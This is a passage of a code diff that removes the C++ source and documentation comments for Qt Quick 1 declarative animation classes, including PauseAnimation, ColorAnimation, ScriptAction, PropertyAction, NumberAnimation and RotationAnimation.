"setPaused() cannot be used on non-root animation nodes."; - return; - } - - d->paused = p; - if (d->paused) - qtAnimation()->pause(); - else - qtAnimation()->resume(); - - emit pausedChanged(d->paused); -} - -void QDeclarative1AbstractAnimation::classBegin() -{ - Q_D(QDeclarative1AbstractAnimation); - d->componentComplete = false; -} - -void QDeclarative1AbstractAnimation::componentComplete() -{ - Q_D(QDeclarative1AbstractAnimation); - d->componentComplete = true; -} - -void QDeclarative1AbstractAnimation::componentFinalized() -{ - Q_D(QDeclarative1AbstractAnimation); - if (d->running) { - d->running = false; - setRunning(true); - } -} - -/*! - \qmlproperty bool QtQuick1::Animation::alwaysRunToEnd - This property holds whether the animation should run to completion when it is stopped. - - If this true the animation will complete its current iteration when it - is stopped - either by setting the \c running property to false, or by - calling the \c stop() method. The \c complete() method is not effected - by this value. - - This behavior is most useful when the \c repeat property is set, as the - animation will finish playing normally but not restart. - - By default, the alwaysRunToEnd property is not set. - - \note alwaysRunToEnd has no effect on animations in a Transition. -*/ -bool QDeclarative1AbstractAnimation::alwaysRunToEnd() const -{ - Q_D(const QDeclarative1AbstractAnimation); - return d->alwaysRunToEnd; -} - -void QDeclarative1AbstractAnimation::setAlwaysRunToEnd(bool f) -{ - Q_D(QDeclarative1AbstractAnimation); - if (d->alwaysRunToEnd == f) - return; - - d->alwaysRunToEnd = f; - emit alwaysRunToEndChanged(f); -} - -/*! - \qmlproperty int QtQuick1::Animation::loops - This property holds the number of times the animation should play. - - By default, \c loops is 1: the animation will play through once and then stop. - - If set to Animation.Infinite, the animation will continuously repeat until it is explicitly - stopped - either by setting the \c running property to false, or by calling - the \c stop() method. - - In the following example, the rectangle will spin indefinitely. - - \code - Rectangle { - width: 100; height: 100; color: "green" - RotationAnimation on rotation { - loops: Animation.Infinite - from: 0 - to: 360 - } - } - \endcode -*/ -int QDeclarative1AbstractAnimation::loops() const -{ - Q_D(const QDeclarative1AbstractAnimation); - return d->loopCount; -} - -void QDeclarative1AbstractAnimation::setLoops(int loops) -{ - Q_D(QDeclarative1AbstractAnimation); - if (loops < 0) - loops = -1; - - if (loops == d->loopCount) - return; - - d->loopCount = loops; - qtAnimation()->setLoopCount(loops); - emit loopCountChanged(loops); -} - - -int QDeclarative1AbstractAnimation::currentTime() -{ - return qtAnimation()->currentLoopTime(); -} - -void QDeclarative1AbstractAnimation::setCurrentTime(int time) -{ - qtAnimation()->setCurrentTime(time); -} - -QDeclarative1AnimationGroup *QDeclarative1AbstractAnimation::group() const -{ - Q_D(const QDeclarative1AbstractAnimation); - return d->group; -} - -void QDeclarative1AbstractAnimation::setGroup(QDeclarative1AnimationGroup *g) -{ - Q_D(QDeclarative1AbstractAnimation); - if (d->group == g) - return; - if (d->group) - static_cast(d->group->d_func())->animations.removeAll(this); - - d->group = g; - - if (d->group && !static_cast(d->group->d_func())->animations.contains(this)) - static_cast(d->group->d_func())->animations.append(this); - - //if (g) //if removed from a group, then the group should no longer be the parent - setParent(g); -} - -/*! - \qmlmethod QtQuick1::Animation::start() - \brief Starts the animation. - - If the animation is already running, calling this method has no effect. The - \c running property will be true following a call to \c start(). -*/ -void QDeclarative1AbstractAnimation::start() -{ - setRunning(true); -} - -/*! - \qmlmethod QtQuick1::Animation::pause() - \brief Pauses the animation. - - If the animation is already paused, calling this method has no effect. The - \c paused property will be true following a call to \c pause(). -*/ -void QDeclarative1AbstractAnimation::pause() -{ - setPaused(true); -} - -/*! - \qmlmethod QtQuick1::Animation::resume() - \brief Resumes a paused animation. - - If the animation is not paused, calling this method has no effect. The - \c paused property will be false following a call to \c resume(). -*/ -void QDeclarative1AbstractAnimation::resume() -{ - setPaused(false); -} - -/*! - \qmlmethod QtQuick1::Animation::stop() - \brief Stops the animation. - - If the animation is not running, calling this method has no effect. The - \c running property will be false following a call to \c stop(). - - Normally \c stop() stops the animation immediately, and the animation has - no further influence on property values. In this example animation - \code - Rectangle { - NumberAnimation on x { from: 0; to: 100; duration: 500 } - } - \endcode - was stopped at time 250ms, the \c x property will have a value of 50. - - However, if the \c alwaysRunToEnd property is set, the animation will - continue running until it completes and then stop. The \c running property - will still become false immediately. -*/ -void QDeclarative1AbstractAnimation::stop() -{ - setRunning(false); -} - -/*! - \qmlmethod QtQuick1::Animation::restart() - \brief Restarts the animation. - - This is a convenience method, and is equivalent to calling \c stop() and - then \c start(). -*/ -void QDeclarative1AbstractAnimation::restart() -{ - stop(); - start(); -} - -/*! - \qmlmethod QtQuick1::Animation::complete() - \brief Stops the animation, jumping to the final property values. - - If the animation is not running, calling this method has no effect. The - \c running property will be false following a call to \c complete(). - - Unlike \c stop(), \c complete() immediately fast-forwards the animation to - its end. In the following example, - \code - Rectangle { - NumberAnimation on x { from: 0; to: 100; duration: 500 } - } - \endcode - calling \c stop() at time 250ms will result in the \c x property having - a value of 50, while calling \c complete() will set the \c x property to - 100, exactly as though the animation had played the whole way through. -*/ -void QDeclarative1AbstractAnimation::complete() -{ - if (isRunning()) { - qtAnimation()->setCurrentTime(qtAnimation()->duration()); - } -} - -void QDeclarative1AbstractAnimation::setTarget(const QDeclarativeProperty &p) -{ - Q_D(QDeclarative1AbstractAnimation); - d->defaultProperty = p; - - if (!d->avoidPropertyValueSourceStart) - setRunning(true); -} - -/* - we rely on setTarget only being called when used as a value source - so this function allows us to do the same thing as setTarget without - that assumption -*/ -void QDeclarative1AbstractAnimation::setDefaultTarget(const QDeclarativeProperty &p) -{ - Q_D(QDeclarative1AbstractAnimation); - d->defaultProperty = p; -} - -/* - don't allow start/stop/pause/resume to be manually invoked, - because something else (like a Behavior) already has control - over the animation. -*/ -void QDeclarative1AbstractAnimation::setDisableUserControl() -{ - Q_D(QDeclarative1AbstractAnimation); - d->disableUserControl = true; -} - -void QDeclarative1AbstractAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_UNUSED(actions); - Q_UNUSED(modified); - Q_UNUSED(direction); -} - -void QDeclarative1AbstractAnimation::timelineComplete() -{ - Q_D(QDeclarative1AbstractAnimation); - setRunning(false); - if (d->alwaysRunToEnd && d->loopCount != 1) { - //restore the proper loopCount for the next run - qtAnimation()->setLoopCount(d->loopCount); - } -} - -/*! - \qmlclass PauseAnimation QDeclarative1PauseAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The PauseAnimation element provides a pause for an animation. - - When used in a SequentialAnimation, PauseAnimation is a step when - nothing happens, for a specified duration. - - A 500ms animation sequence, with a 100ms pause between two animations: - \code - SequentialAnimation { - NumberAnimation { ... duration: 200 } - PauseAnimation { duration: 100 } - NumberAnimation { ... duration: 200 } - } - \endcode - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1PauseAnimation::QDeclarative1PauseAnimation(QObject *parent) -: QDeclarative1AbstractAnimation(*(new QDeclarative1PauseAnimationPrivate), parent) -{ - Q_D(QDeclarative1PauseAnimation); - d->init(); -} - -QDeclarative1PauseAnimation::~QDeclarative1PauseAnimation() -{ -} - -void QDeclarative1PauseAnimationPrivate::init() -{ - Q_Q(QDeclarative1PauseAnimation); - pa = new QPauseAnimation; - QDeclarative_setParent_noEvent(pa, q); -} - -/*! - \qmlproperty int QtQuick1::PauseAnimation::duration - This property holds the duration of the pause in milliseconds - - The default value is 250. -*/ -int QDeclarative1PauseAnimation::duration() const -{ - Q_D(const QDeclarative1PauseAnimation); - return d->pa->duration(); -} - -void QDeclarative1PauseAnimation::setDuration(int duration) -{ - if (duration < 0) { - qmlInfo(this) << tr("Cannot set a duration of < 0"); - return; - } - - Q_D(QDeclarative1PauseAnimation); - if (d->pa->duration() == duration) - return; - d->pa->setDuration(duration); - emit durationChanged(duration); -} - -QAbstractAnimation *QDeclarative1PauseAnimation::qtAnimation() -{ - Q_D(QDeclarative1PauseAnimation); - return d->pa; -} - -/*! - \qmlclass ColorAnimation QDeclarative1ColorAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits PropertyAnimation - \brief The ColorAnimation element animates changes in color values. - - ColorAnimation is a specialized PropertyAnimation that defines an - animation to be applied when a color value changes. - - Here is a ColorAnimation applied to the \c color property of a \l Rectangle - as a property value source. It animates the \c color property's value from - its current value to a value of "red", over 1000 milliseconds: - - \snippet doc/src/snippets/qtquick1/coloranimation.qml 0 - - Like any other animation element, a ColorAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - For convenience, when a ColorAnimation is used in a \l Transition, it will - animate any \c color properties that have been modified during the state - change. If a \l{PropertyAnimation::}{property} or - \l{PropertyAnimation::}{properties} are explicitly set for the animation, - then those are used instead. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1ColorAnimation::QDeclarative1ColorAnimation(QObject *parent) -: QDeclarative1PropertyAnimation(parent) -{ - Q_D(QDeclarative1PropertyAnimation); - d->interpolatorType = QMetaType::QColor; - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); - d->defaultToInterpolatorType = true; -} - -QDeclarative1ColorAnimation::~QDeclarative1ColorAnimation() -{ -} - -/*! - \qmlproperty color QtQuick1::ColorAnimation::from - This property holds the color value at which the animation should begin. - - For example, the following animation is not applied until a color value - has reached "#c0c0c0": - - \qml - Item { - states: [ - // States are defined here... - ] - - transition: Transition { - NumberAnimation { from: "#c0c0c0"; duration: 2000 } - } - } - \endqml - - If the ColorAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the starting state of the - \l Transition, or the current value of the property at the moment the - \l Behavior is triggered. - - \sa {QML Animation and Transitions} -*/ -QColor QDeclarative1ColorAnimation::from() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->from.value(); -} - -void QDeclarative1ColorAnimation::setFrom(const QColor &f) -{ - QDeclarative1PropertyAnimation::setFrom(f); -} - -/*! - \qmlproperty color QtQuick1::ColorAnimation::to - - This property holds the color value at which the animation should end. - - If the ColorAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. - - \sa {QML Animation and Transitions} -*/ -QColor QDeclarative1ColorAnimation::to() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->to.value(); -} - -void QDeclarative1ColorAnimation::setTo(const QColor &t) -{ - QDeclarative1PropertyAnimation::setTo(t); -} - - - -/*! - \qmlclass ScriptAction QDeclarative1ScriptAction - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The ScriptAction element allows scripts to be run during an animation. - - ScriptAction can be used to run a script at a specific point in an animation. - - \qml - SequentialAnimation { - NumberAnimation { - // ... - } - ScriptAction { script: doSomething(); } - NumberAnimation { - // ... - } - } - \endqml - - When used as part of a Transition, you can also target a specific - StateChangeScript to run using the \c scriptName property. - - \snippet doc/src/snippets/qtquick1/states/statechangescript.qml state and transition - - \sa StateChangeScript -*/ -QDeclarative1ScriptAction::QDeclarative1ScriptAction(QObject *parent) - :QDeclarative1AbstractAnimation(*(new QDeclarative1ScriptActionPrivate), parent) -{ - Q_D(QDeclarative1ScriptAction); - d->init(); -} - -QDeclarative1ScriptAction::~QDeclarative1ScriptAction() -{ -} - -void QDeclarative1ScriptActionPrivate::init() -{ - Q_Q(QDeclarative1ScriptAction); - rsa = new QActionAnimation_1(&proxy); - QDeclarative_setParent_noEvent(rsa, q); -} - -/*! - \qmlproperty script QtQuick1::ScriptAction::script - This property holds the script to run. -*/ -QDeclarativeScriptString QDeclarative1ScriptAction::script() const -{ - Q_D(const QDeclarative1ScriptAction); - return d->script; -} - -void QDeclarative1ScriptAction::setScript(const QDeclarativeScriptString &script) -{ - Q_D(QDeclarative1ScriptAction); - d->script = script; -} - -/*! - \qmlproperty string QtQuick1::ScriptAction::scriptName - This property holds the the name of the StateChangeScript to run. - - This property is only valid when ScriptAction is used as part of a transition. - If both script and scriptName are set, scriptName will be used. - - \note When using scriptName in a reversible transition, the script will only - be run when the transition is being run forwards. -*/ -QString QDeclarative1ScriptAction::stateChangeScriptName() const -{ - Q_D(const QDeclarative1ScriptAction); - return d->name; -} - -void QDeclarative1ScriptAction::setStateChangeScriptName(const QString &name) -{ - Q_D(QDeclarative1ScriptAction); - d->name = name; -} - -void QDeclarative1ScriptActionPrivate::execute() -{ - Q_Q(QDeclarative1ScriptAction); - if (hasRunScriptScript && reversing) - return; - - QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script; - - const QString &str = scriptStr.script(); - if (!str.isEmpty()) { - QDeclarativeExpression expr(scriptStr.context(), scriptStr.scopeObject(), str); - QDeclarativeData *ddata = QDeclarativeData::get(q); - if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) - expr.setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber, ddata->columnNumber); - expr.evaluate(); - if (expr.hasError()) - qmlInfo(q) << expr.error(); - } -} - -void QDeclarative1ScriptAction::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1ScriptAction); - Q_UNUSED(modified); - - d->hasRunScriptScript = false; - d->reversing = (direction == Backward); - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - - if (action.event && action.event->typeName() == QLatin1String("StateChangeScript") - && static_cast(action.event)->name() == d->name) { - d->runScriptScript = static_cast(action.event)->script(); - d->hasRunScriptScript = true; - action.actionDone = true; - break; //only match one (names should be unique) - } - } -} - -QAbstractAnimation *QDeclarative1ScriptAction::qtAnimation() -{ - Q_D(QDeclarative1ScriptAction); - return d->rsa; -} - - - -/*! - \qmlclass PropertyAction QDeclarative1PropertyAction - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The PropertyAction element allows immediate property changes during animation. - - PropertyAction is used to specify an immediate property change during an - animation. The property change is not animated. - - It is useful for setting non-animated property values during an animation. - - For example, here is a SequentialAnimation that sets the image's - \l {Image::}{smooth} property to \c true, animates the width of the image, - then sets \l {Image::}{smooth} back to \c false: - - \snippet doc/src/snippets/qtquick1/propertyaction.qml standalone - - PropertyAction is also useful for setting the exact point at which a property - change should occur during a \l Transition. For example, if PropertyChanges - was used in a \l State to rotate an item around a particular - \l {Item::}{transformOrigin}, it might be implemented like this: - - \snippet doc/src/snippets/qtquick1/propertyaction.qml transition - - However, with this code, the \c transformOrigin is not set until \e after - the animation, as a \l State is taken to define the values at the \e end of - a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyAction - before the RotationAnimation begins: - - \snippet doc/src/snippets/qtquick1/propertyaction-sequential.qml sequential - - This immediately sets the \c transformOrigin property to the value defined - in the end state of the \l Transition (i.e. the value defined in the - PropertyAction object) so that the rotation animation begins with the - correct transform origin. - - \sa {QML Animation and Transitions}, QtDeclarative -*/ -QDeclarative1PropertyAction::QDeclarative1PropertyAction(QObject *parent) -: QDeclarative1AbstractAnimation(*(new QDeclarative1PropertyActionPrivate), parent) -{ - Q_D(QDeclarative1PropertyAction); - d->init(); -} - -QDeclarative1PropertyAction::~QDeclarative1PropertyAction() -{ -} - -void QDeclarative1PropertyActionPrivate::init() -{ - Q_Q(QDeclarative1PropertyAction); - spa = new QActionAnimation_1; - QDeclarative_setParent_noEvent(spa, q); -} - -QObject *QDeclarative1PropertyAction::target() const -{ - Q_D(const QDeclarative1PropertyAction); - return d->target; -} - -void QDeclarative1PropertyAction::setTarget(QObject *o) -{ - Q_D(QDeclarative1PropertyAction); - if (d->target == o) - return; - d->target = o; - emit targetChanged(); -} - -QString QDeclarative1PropertyAction::property() const -{ - Q_D(const QDeclarative1PropertyAction); - return d->propertyName; -} - -void QDeclarative1PropertyAction::setProperty(const QString &n) -{ - Q_D(QDeclarative1PropertyAction); - if (d->propertyName == n) - return; - d->propertyName = n; - emit propertyChanged(); -} - -/*! - \qmlproperty Object QtQuick1::PropertyAction::target - \qmlproperty list QtQuick1::PropertyAction::targets - \qmlproperty string QtQuick1::PropertyAction::property - \qmlproperty string QtQuick1::PropertyAction::properties - - These properties determine the items and their properties that are - affected by this action. - - The details of how these properties are interpreted in different situations - is covered in the \l{PropertyAnimation::properties}{corresponding} PropertyAnimation - documentation. - - \sa exclude -*/ -QString QDeclarative1PropertyAction::properties() const -{ - Q_D(const QDeclarative1PropertyAction); - return d->properties; -} - -void QDeclarative1PropertyAction::setProperties(const QString &p) -{ - Q_D(QDeclarative1PropertyAction); - if (d->properties == p) - return; - d->properties = p; - emit propertiesChanged(p); -} - -QDeclarativeListProperty QDeclarative1PropertyAction::targets() -{ - Q_D(QDeclarative1PropertyAction); - return QDeclarativeListProperty(this, d->targets); -} - -/*! - \qmlproperty list QtQuick1::PropertyAction::exclude - This property holds the objects that should not be affected by this action. - - \sa targets -*/ -QDeclarativeListProperty QDeclarative1PropertyAction::exclude() -{ - Q_D(QDeclarative1PropertyAction); - return QDeclarativeListProperty(this, d->exclude); -} - -/*! - \qmlproperty any QtQuick1::PropertyAction::value - This property holds the value to be set on the property. - - If the PropertyAction is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. -*/ -QVariant QDeclarative1PropertyAction::value() const -{ - Q_D(const QDeclarative1PropertyAction); - return d->value; -} - -void QDeclarative1PropertyAction::setValue(const QVariant &v) -{ - Q_D(QDeclarative1PropertyAction); - if (d->value.isNull || d->value != v) { - d->value = v; - emit valueChanged(v); - } -} - -QAbstractAnimation *QDeclarative1PropertyAction::qtAnimation() -{ - Q_D(QDeclarative1PropertyAction); - return d->spa; -} - -void QDeclarative1PropertyAction::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1PropertyAction); - Q_UNUSED(direction); - - struct QDeclarative1SetPropertyAnimationAction : public QAbstractAnimationAction - { - QDeclarative1StateActions actions; - virtual void doAction() - { - for (int ii = 0; ii < actions.count(); ++ii) { - const QDeclarative1Action &action = actions.at(ii); - QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - } - } - }; - - QStringList props = d->properties.isEmpty() ? QStringList() : d->properties.split(QLatin1Char(',')); - for (int ii = 0; ii < props.count(); ++ii) - props[ii] = props.at(ii).trimmed(); - if (!d->propertyName.isEmpty()) - props << d->propertyName; - - QList targets = d->targets; - if (d->target) - targets.append(d->target); - - bool hasSelectors = !props.isEmpty() || !targets.isEmpty() || !d->exclude.isEmpty(); - - if (d->defaultProperty.isValid() && !hasSelectors) { - props << d->defaultProperty.name(); - targets << d->defaultProperty.object(); - } - - QDeclarative1SetPropertyAnimationAction *data = new QDeclarative1SetPropertyAnimationAction; - - bool hasExplicit = false; - //an explicit animation has been specified - if (d->value.isValid()) { - for (int i = 0; i < props.count(); ++i) { - for (int j = 0; j < targets.count(); ++j) { - QDeclarative1Action myAction; - myAction.property = d->createProperty(targets.at(j), props.at(i), this); - if (myAction.property.isValid()) { - myAction.toValue = d->value; - QDeclarative1PropertyAnimationPrivate::convertVariant(myAction.toValue, myAction.property.propertyType()); - data->actions << myAction; - hasExplicit = true; - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - if (action.property.object() == myAction.property.object() && - myAction.property.name() == action.property.name()) { - modified << action.property; - break; //### any chance there could be multiples? - } - } - } - } - } - } - - if (!hasExplicit) - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - - QObject *obj = action.property.object(); - QString propertyName = action.property.name(); - QObject *sObj = action.specifiedObject; - QString sPropertyName = action.specifiedProperty; - bool same = (obj == sObj); - - if ((targets.isEmpty() || targets.contains(obj) || (!same && targets.contains(sObj))) && - (!d->exclude.contains(obj)) && (same || (!d->exclude.contains(sObj))) && - (props.contains(propertyName) || (!same && props.contains(sPropertyName)))) { - QDeclarative1Action myAction = action; - - if (d->value.isValid()) - myAction.toValue = d->value; - QDeclarative1PropertyAnimationPrivate::convertVariant(myAction.toValue, myAction.property.propertyType()); - - modified << action.property; - data->actions << myAction; - action.fromValue = myAction.toValue; - } - } - - if (data->actions.count()) { - d->spa->setAnimAction(data, QAbstractAnimation::DeleteWhenStopped); - } else { - delete data; - } -} - -/*! - \qmlclass NumberAnimation QDeclarative1NumberAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits PropertyAnimation - \brief The NumberAnimation element animates changes in qreal-type values. - - NumberAnimation is a specialized PropertyAnimation that defines an - animation to be applied when a numerical value changes. - - Here is a NumberAnimation applied to the \c x property of a \l Rectangle - as a property value source. It animates the \c x value from its current - value to a value of 50, over 1000 milliseconds: - - \snippet doc/src/snippets/qtquick1/numberanimation.qml 0 - - Like any other animation element, a NumberAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - Note that NumberAnimation may not animate smoothly if there are irregular - changes in the number value that it is tracking. If this is the case, use - SmoothedAnimation instead. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1NumberAnimation::QDeclarative1NumberAnimation(QObject *parent) -: QDeclarative1PropertyAnimation(parent) -{ - init(); -} - -QDeclarative1NumberAnimation::QDeclarative1NumberAnimation(QDeclarative1PropertyAnimationPrivate &dd, QObject *parent) -: QDeclarative1PropertyAnimation(dd, parent) -{ - init(); -} - -QDeclarative1NumberAnimation::~QDeclarative1NumberAnimation() -{ -} - -void QDeclarative1NumberAnimation::init() -{ - Q_D(QDeclarative1PropertyAnimation); - d->interpolatorType = QMetaType::QReal; - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); -} - -/*! - \qmlproperty real QtQuick1::NumberAnimation::from - This property holds the starting value for the animation. - - For example, the following animation is not applied until the \c x value - has reached 100: - - \qml - Item { - states: [ - // ... - ] - - transition: Transition { - NumberAnimation { properties: "x"; from: 100; duration: 200 } - } - } - \endqml - - If the NumberAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the starting state of the - \l Transition, or the current value of the property at the moment the - \l Behavior is triggered. - - \sa {QML Animation and Transitions} -*/ - -qreal QDeclarative1NumberAnimation::from() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->from.toReal(); -} - -void QDeclarative1NumberAnimation::setFrom(qreal f) -{ - QDeclarative1PropertyAnimation::setFrom(f); -} - -/*! - \qmlproperty real QtQuick1::NumberAnimation::to - This property holds the end value for the animation. - - If the NumberAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. - - \sa {QML Animation and Transitions} -*/ -qreal QDeclarative1NumberAnimation::to() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->to.toReal(); -} - -void QDeclarative1NumberAnimation::setTo(qreal t) -{ - QDeclarative1PropertyAnimation::setTo(t); -} - - - -/*! - \qmlclass Vector3dAnimation QDeclarative1Vector3dAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits PropertyAnimation - \brief The Vector3dAnimation element animates changes in QVector3d values. - - Vector3dAnimation is a specialized PropertyAnimation that defines an - animation to be applied when a Vector3d value changes. - - Like any other animation element, a Vector3dAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1Vector3dAnimation::QDeclarative1Vector3dAnimation(QObject *parent) -: QDeclarative1PropertyAnimation(parent) -{ - Q_D(QDeclarative1PropertyAnimation); - d->interpolatorType = QMetaType::QVector3D; - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); - d->defaultToInterpolatorType = true; -} - -QDeclarative1Vector3dAnimation::~QDeclarative1Vector3dAnimation() -{ -} - -/*! - \qmlproperty real QtQuick1::Vector3dAnimation::from - This property holds the starting value for the animation. - - If the Vector3dAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the starting state of the - \l Transition, or the current value of the property at the moment the - \l Behavior is triggered. - - \sa {QML Animation and Transitions} -*/ -QVector3D QDeclarative1Vector3dAnimation::from() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->from.value(); -} - -void QDeclarative1Vector3dAnimation::setFrom(QVector3D f) -{ - QDeclarative1PropertyAnimation::setFrom(f); -} - -/*! - \qmlproperty real QtQuick1::Vector3dAnimation::to - This property holds the end value for the animation. - - If the Vector3dAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. - - \sa {QML Animation and Transitions} -*/ -QVector3D QDeclarative1Vector3dAnimation::to() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->to.value(); -} - -void QDeclarative1Vector3dAnimation::setTo(QVector3D t) -{ - QDeclarative1PropertyAnimation::setTo(t); -} - - - -/*! - \qmlclass RotationAnimation QDeclarative1RotationAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits PropertyAnimation - \brief The RotationAnimation element animates changes in rotation values. - - RotationAnimation is a specialized PropertyAnimation that gives control - over the direction of rotation during an animation. - - By default, it rotates in the direction - of the numerical change; a rotation from 0 to 240 will rotate 240 degrees - clockwise, while a rotation from 240 to 0 will rotate 240 degrees - counterclockwise. The \l direction property can be set to specify the - direction in which the rotation should occur. - - In the following example we use RotationAnimation to animate the rotation - between states via the shortest path: - - \snippet doc/src/snippets/qtquick1/rotationanimation.qml 0 - - Notice the RotationAnimation did not need to set a \l target - value. As a convenience, when used in a transition, RotationAnimation will rotate all - properties named "rotation" or "angle". You can override this by providing - your own properties via \l {PropertyAnimation::properties}{properties} or - \l {PropertyAnimation::property}{property}. - - Also, note the \l Rectangle will be rotated around its default - \l {Item::}{transformOrigin} (which is \c Item.Center). To use a different - transform origin, set the origin in the PropertyChanges object and apply - the change at the start of the animation using PropertyAction. See the - PropertyAction documentation for more details. - - Like any other animation element, a RotationAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QVariant _q_interpolateShortestRotation(qreal &f, qreal &t, qreal progress) -{ - qreal newt = t; - qreal diff = t-f; - while(diff > 180.0){ - newt -= 360.0; - diff -= 360.0; - } - while(diff < -180.0){ - newt += 360.0; - diff += 360.0; - } - return QVariant(f + (newt - f) * progress); -} - -QVariant _q_interpolateClockwiseRotation(qreal &f, qreal &t, qreal progress) -{ - qreal newt = t; - qreal diff = t-f; - while(diff < 0.0){ - newt += 360.0; - diff += 360.0; - } - return QVariant(f + (newt - f) * progress); -} - -QVariant _q_interpolateCounterclockwiseRotation(qreal &f, qreal &t, qreal progress) -{ - qreal newt = t; - qreal diff = t-f; - while(diff > 0.0){ - newt -= 360.0; - diff -= 360.0; - } - return QVariant(f + (newt - f) * progress); -} - -QDeclarative1RotationAnimation::QDeclarative1RotationAnimation(QObject *parent) -: QDeclarative1PropertyAnimation(*(new QDeclarative1RotationAnimationPrivate), parent) -{ - Q_D(QDeclarative1RotationAnimation); - d->interpolatorType = QMetaType::QReal; - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); - d->defaultProperties = QLatin1String("rotation,angle"); -} - -QDeclarative1RotationAnimation::~QDeclarative1RotationAnimation() -{ -} - -/*! - \qmlproperty real QtQuick1::RotationAnimation::from - This property holds the starting value for the animation. - - For example, the following animation is not applied until the \c angle value - has reached 100: - - \qml - Item { - states: [ - // ... - ] - - transition: Transition { - RotationAnimation { properties: "angle"; from: 100; duration: 2000 } - } - } - \endqml - - If the RotationAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the starting state of the - \l Transition, or the current value of the property at the moment the - \l Behavior is triggered. - - \sa {QML Animation and Transitions} -*/ -qreal QDeclarative1RotationAnimation::from() const -{ - Q_D(const QDeclarative1RotationAnimation); - return d->from.toReal(); -} - -void QDeclarative1RotationAnimation::setFrom(qreal f) -{ - QDeclarative1PropertyAnimation::setFrom(f); -} - -/*! - \qmlproperty real QtQuick1::RotationAnimation::to - This property holds the end value for the animation.. - - If the RotationAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. - - \sa {QML Animation and Transitions} -*/ -qreal QDeclarative1RotationAnimation::to() const -{ - Q_D(const QDeclarative1RotationAnimation); - return d->to.toReal(); -} - -void QDeclarative1RotationAnimation::setTo(qreal t) -{ - QDeclarative1PropertyAnimation::setTo(t); -} - -/*! - \qmlproperty enumeration QtQuick1::RotationAnimation::direction - This property holds the direction of the rotation. - - Possible values are: - - \list - \o RotationAnimation.Numerical (default) - Rotate by linearly interpolating between the two numbers. - A rotation from 10 to 350 will rotate 340 degrees clockwise. - \o RotationAnimation.Clockwise - Rotate clockwise between the two values - \o RotationAnimation.Counterclockwise - Rotate counterclockwise between the two values - \o RotationAnimation.Shortest - Rotate in the direction that produces the shortest animation path. - A rotation from 10 to 350 will rotate 20 degrees counterclockwise. - \endlist -*/ -QDeclarative1RotationAnimation::RotationDirection QDeclarative1RotationAnimation::direction() const -{ - Q_D(const QDeclarative1RotationAnimation); - return d->direction; -} - -void QDeclarative1RotationAnimation::setDirection(QDeclarative1RotationAnimation::RotationDirection direction) -{ - 